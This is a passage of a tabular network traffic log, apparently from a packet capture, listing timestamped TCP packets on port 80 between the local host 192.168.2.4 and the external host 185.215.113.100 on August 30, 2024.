Aug 30, 2024 18:18:05.617295027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617320061 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617435932 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617446899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617482901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617491961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617587090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617595911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617611885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617626905 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617655993 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617768049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617778063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617804050 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617822886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.767853022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.767890930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.767903090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.767950058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.767981052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.768013000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768024921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768035889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768047094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768049002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.768083096 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.768306017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768316984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768327951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768337965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768342018 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.768378019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.768654108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768663883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768675089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768685102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768692017 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.768696070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.768723011 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.768747091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.769109964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769119978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769135952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769145966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769149065 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.769155979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769165993 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.769166946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769176960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769186974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769196987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769198895 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.769207954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769217968 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769218922 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.769227982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.769238949 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.769257069 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.769283056 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.915328026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915376902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915385962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.915388107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915436983 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.915513992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915524960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915534973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915554047 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.915580988 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.915724039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915734053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915746927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915757895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915764093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.915781975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.915798903 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.915946960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915956020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915966034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915976048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.915987015 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916013002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916040897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916183949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916210890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916215897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916222095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916248083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916465044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916503906 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916528940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916539907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916563034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916589022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916650057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916660070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916697025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.916909933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.916953087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917069912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917079926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917098999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917108059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917108059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917129040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917145014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917220116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917254925 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917288065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917300940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917323112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917339087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917418957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917454004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917474985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917510033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917568922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917582035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917593002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917622089 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917650938 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917768955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917804003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917932987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.917968035 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.917984962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918019056 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918020964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918056965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918109894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918121099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918143034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918160915 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918286085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918320894 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918380976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918390989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918401003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918411970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918428898 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918456078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918689013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918739080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918802977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918813944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918823004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918833017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918843031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.918847084 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918868065 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.918895960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.919183016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.919193983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.919203997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.919213057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.919223070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.919229031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.919265985 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.920147896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.920191050 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.920232058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.920242071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.920264959 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.920280933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.064666033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.064682961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.064699888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.064805984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.064913034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.064923048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.064934015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.064944983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065040112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.065088034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.065161943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065227985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065238953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065248966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065258980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065269947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065278053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065619946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065629005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065752029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065766096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065777063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065787077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065797091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.065805912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066198111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066209078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066217899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066226959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066236973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066247940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066257954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066574097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066788912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066798925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066808939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066817045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.066826105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067200899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067209959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067223072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067235947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067244053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067253113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067261934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067271948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067281008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067290068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067300081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.067310095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068039894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068051100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068059921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068070889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068078041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068088055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068098068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068108082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068120003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068630934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068640947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068650961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068660021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068670034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068680048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068690062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.068701029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069262981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069273949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069283962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069294930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069303989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069314003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069323063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069331884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069340944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069349051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.069358110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070220947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070231915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070240974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070250988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070259094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070269108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070277929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070287943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070297003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070306063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070316076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070324898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070334911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.070357084 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.070391893 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.070453882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.071088076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071099043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071106911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071121931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071131945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071141005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.071141958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071151018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071161032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071171045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071170092 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.071186066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071187973 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.071197033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071206093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.071214914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.071234941 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.071255922 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.072026968 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072037935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072046995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072057009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072067022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072077990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072079897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.072087049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072097063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072107077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072117090 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.072118044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.072148085 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.072170019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.072587967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.073810101 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.213238955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213272095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213282108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213306904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.213332891 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.213335037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213345051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213356972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213380098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.213397980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.213570118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213582039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213593006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213603973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213614941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213618040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.213649988 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.213946104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213956118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213965893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213974953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213985920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.213998079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214000940 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.214010000 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.214067936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.214101076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.214314938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214327097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214354038 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.214369059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.214551926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214561939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214574099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214582920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214592934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214597940 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.214606047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214616060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214627028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.214628935 CEST	49730	80	192.168.2.4	185.215.113.100
